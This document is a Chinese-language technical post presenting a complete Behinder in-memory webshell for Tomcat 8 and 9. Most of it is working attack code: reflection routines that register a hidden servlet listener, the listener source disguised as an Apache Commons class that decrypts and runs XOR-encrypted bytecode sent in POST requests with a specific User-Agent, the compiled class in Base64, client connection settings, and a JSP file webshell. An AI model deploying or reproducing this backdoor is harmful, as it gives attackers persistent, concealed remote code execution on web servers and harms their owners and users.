Tomcat 8或9
获取ServletContext
Tomcat8以及Tomcat9实际都可以从Thread.currentThread().getContextClassLoader()
获取到对应的WebApp类加载器,而Tomcat的ServletContext
实际在WebAppClassLoader.resources.context
,那么获取路径如下:
private void getStandardContext() throws NoSuchFieldException, IllegalAccessException {
WebappClassLoaderBase var1 = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
Field var2 = var1.getClass().getSuperclass().getDeclaredField("resources");
var2.setAccessible(true);
Object var3 = var2.get(var1);
var2 = var3.getClass().getDeclaredField("context");
var2.setAccessible(true);
STANDARD_CONTEXT = (StandardContext)var2.get(var3);
}
通用
检测类是否存在并定义类
public static void injectMemshellClass() {
try {
MEMSHELL_OBJECT = Thread.currentThread().getContextClassLoader().loadClass("org.apache.commons.lang.CommonSessions").newInstance();
} catch (Exception var5) {
try {
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = (new BASE64Decoder()).decodeBuffer("实际Listener内存马Base64");
Class var3 = (Class)var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);
MEMSHELL_OBJECT = var3.newInstance();
} catch (Exception var4) {
}
}
}
添加Listener
private static synchronized void injectMemshell() {
try {
try {
Field var0 = STANDARD_CONTEXT.getClass().getDeclaredField("applicationEventListenersObjects");
var0.setAccessible(true);
Object[] var11 = (Object[])((Object[])((Object[])var0.get(STANDARD_CONTEXT)));
List var13 = Arrays.asList(var11);
ArrayList var3 = new ArrayList();
Boolean var4 = false;
Iterator var5 = var13.iterator();
while(var5.hasNext()) {
Object var6 = var5.next();
var3.add(var6);
if (var6.getClass().getName().equals("org.apache.commons.lang.CommonSessions")) {
var4 = true;
}
}
if (!var4) {
var3.add(MEMSHELL_OBJECT);
Method var14 = STANDARD_CONTEXT.getClass().getDeclaredMethod("setApplicationEventListeners", Object[].class);
var14.setAccessible(true);
var14.invoke(STANDARD_CONTEXT, (Object)var3.toArray());
}
} catch (Exception var8) {
Method var10 = STANDARD_CONTEXT.getClass().getDeclaredMethod("addApplicationListener", String.class);
var10.invoke(STANDARD_CONTEXT, "org.apache.commons.lang.CommonSessions");
Method var12 = STANDARD_CONTEXT.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
var12.setAccessible(true);
var12.invoke(STANDARD_CONTEXT, MEMSHELL_OBJECT);
}
RESPONSE.getClass().getMethod("setStatus", Integer.TYPE).invoke(RESPONSE, new Integer(200));
RESPONSE.getClass().getMethod("addHeader", String.class, String.class).invoke(RESPONSE, "Etags", ETAGS);
} catch (Throwable var9) {
Throwable var1 = var9;
try {
String var2 = (new BASE64Encoder()).encode(getThrowableInfo(var1).getBytes());
RESPONSE.getClass().getMethod("addHeader", String.class, String.class).invoke(RESPONSE, "Etags", var2);
} catch (Exception var7) {
}
}
}
public static String getThrowableInfo(Throwable var0) {
StringWriter var1 = new StringWriter();
PrintWriter var2 = new PrintWriter(var1);
var0.printStackTrace(var2);
return var1.toString();
}
Behinder Listener内存马
源码
package org.apache.commons.lang;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.HashMap;
public class CommonSessions extends ClassLoader implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
private Class d(byte[] d) {
return super.defineClass(d, 0, d.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("User-Agent") != null && request.getHeader("User-Agent").contains("Chrome/39.19.2171.71")) {
Field f_request = request.getClass().getDeclaredField("request");
f_request.setAccessible(true);
Request requestObject = (Request) f_request.get(request);
Response response = requestObject.getResponse();
response.reset();
response.resetBuffer();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = requestObject.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0 , length);
bos.write(data);
length = requestObject.getInputStream().read(buf);
}
if (bos.size() > 0) {
HashMap<String, Object> pageContext = new HashMap();
Field f_session = requestObject.getClass().getDeclaredField("session");
f_session.setAccessible(true);
pageContext.put("request", requestObject);
pageContext.put("response", response);
pageContext.put("session", f_session.get(requestObject));
byte[] byteCode = Decrypt(bos.toByteArray());
Class clazz = d(byteCode);
clazz.newInstance().equals(pageContext);
} else {
response.setHeader("Access-Control-Allow-Origin", "https://mem.test");
response.flushBuffer();
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
二进制Base64编码
yv66vgAAADEAqgoAMAA/CABACgBBAEIKADAAQwoARABFBwBGCwAGAEcIAEgKAEEASQgASgsABgBLCABMCgBBAE0KAE4ATwgAUAoAUQBSCgBTAFQKAFMAVQcAVgoAEwBXCgBYAFkKAFgAWgcAWwoAFwA/CgATAFwKAF0AXgoAXwBgCgAXAGEKABcAYgcAYwoAHgA/CABkCgAeAGUIAGYKABcAZwoALwBoCgAvAGkKAFEAagoATgBJCABrCABsCgBYAG0KAFgAbgcAbwcAcAoALQBxBwByBwBzBwB0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB0RlY3J5cHQBAAYoW0IpW0IBAAFkAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAScmVxdWVzdEluaXRpYWxpemVkAQAKU291cmNlRmlsZQEAE0NvbW1vblNlc3Npb25zLmphdmEMADIAMwEAEGU0NWUzMjlmZWI1ZDkyNWIHAHUMAHYAdwwAeAB5BwB6DAB7AHwBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAB9AH4BAARQT1NUDAB/AIABAApVc2VyLUFnZW50DACBAIIBABRDaHJvbWUvMzkuMTkuMjE3MS43MQwAgwCEBwCFDACGAIcBAAdyZXF1ZXN0BwCIDACJAIoHAIsMAIwAjQwAjgCPAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAwAkACRBwCSDACTADMMAJQAMwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACVAJYHAJcMAJgAmQcAmgwAmwCcDACdAJ4MAJ8AoAEAEWphdmEvdXRpbC9IYXNoTWFwAQAHc2Vzc2lvbgwAoQCiAQAIcmVzcG9uc2UMAKMAdwwANgA3DAA4ADkMAKQApQEAG0FjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbgEAEGh0dHBzOi8vbWVtLnRlc3QMAKYApwwAqAAzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAyAKkBACZvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy9Db21tb25TZXNzaW9ucwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEAEGphdmEvbGFuZy9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGphdmEvbGFuZy9PYmplY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALZ2V0UmVzcG9uc2UBACooKUxvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTsBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEABXJlc2V0AQALcmVzZXRCdWZmZXIBAA5nZXRJbnB1dFN0cmVhbQEAJCgpTGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtOwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0FycmF5cwEAC2NvcHlPZlJhbmdlAQAIKFtCSUkpW0IBAAV3cml0ZQEABShbQilWAQAEc2l6ZQEAAygpSQEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALdG9CeXRlQXJyYXkBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAJc2V0SGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQALZmx1c2hCdWZmZXIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAvADAAAQAxAAAABQABADIAMwABADQAAAAdAAEAAQAAAAUqtwABsQAAAAEANQAAAAYAAQAAAA4AAgA2ADcAAQA0AAAATgAGAAQAAAAmEgJNAz4dK76iABwrHSsdMyy2AAMdBGAQD34zgpFUhAMBp//kK7AAAAABADUAAAAWAAUAAAARAAMAEgALABMAHgASACQAFQACADgAOQABADQAAAAhAAQAAgAAAAkqKwMrvrcABLAAAAABADUAAAAGAAEAAAAZAAEAOgA7AAEANAAAABkAAAACAAAAAbEAAAABADUAAAAGAAEAAAAfAAEAPAA7AAEANAAAAb8ABAANAAABHyu2AAXAAAZNLLkABwEAEgi2AAmZAP4sEgq5AAsCAMYA8ywSCrkACwIAEgy2AA2ZAOMstgAOEg+2ABBOLQS2ABEtLLYAEsAAEzoEGQS2ABQ6BRkFtgAVGQW2ABa7ABdZtwAYOgYRAgC8CDoHGQS2ABkZB7YAGjYIFQieACMZBwMVCLgAGzoJGQYZCbYAHBkEtgAZGQe2ABo2CKf/3hkGtgAdngBiuwAeWbcAHzoJGQS2AA4SILYAEDoKGQoEtgARGQkSDxkEtgAhVxkJEiIZBbYAIVcZCRIgGQoZBLYAErYAIVcqGQa2ACO3ACQ6CyoZC7cAJToMGQy2ACYZCbYAJ1enABEZBRIoEim2ACoZBbYAK6cADU27AC1ZLLcALr+xAAEAAAERARQALAABADUAAACGACEAAAAkAAgAJQAxACYAOwAnAEAAKABKACkAUQArAFYALABbAC0AZAAuAGsALwB3ADAAfAAxAIYAMgCNADMAmQA0AJwANQCkADYArQA3ALkAOAC/ADkAyQA6ANMAOwDiADwA7QA9APUAPgEAAD8BAwBAAQwAQQERAEYBFABEARUARQEeAEcAAQA9AAAAAgA+
Behinder连接信息
Header:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.19.2171.71 Safari/537.36
Behinder Version:
Behinder V4
Behinder Protocal:
default_xor
附-文件马
<%@page import="java.util.*,java.io.*" %>
<%!
class Bootstrap extends ClassLoader {
public byte[] bootstap_decrypt(byte[] data) throws Exception{
String key = "f56f43:gfc6e:36c";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15] -1));
}
return data;
}
public Bootstrap(ClassLoader parent) {
super(parent);
}
public Class loadClass(byte[] bytes) throws ClassNotFoundException {
return super.defineClass(bytes, 0, bytes.length);
}
}
%>
<%if (request.getMethod().equals("POST") && "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.19.2171.71 Safari/537.36".equals(request.getHeader("User-Agent"))){
Bootstrap bs = new Bootstrap(request.getClass().getClassLoader());
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
out.clear();
out=pageContext.pushBody();
try {
Object o = bs.loadClass(bs.bootstap_decrypt(bos.toByteArray())).newInstance();
o.equals(pageContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
%>
连接信息同上.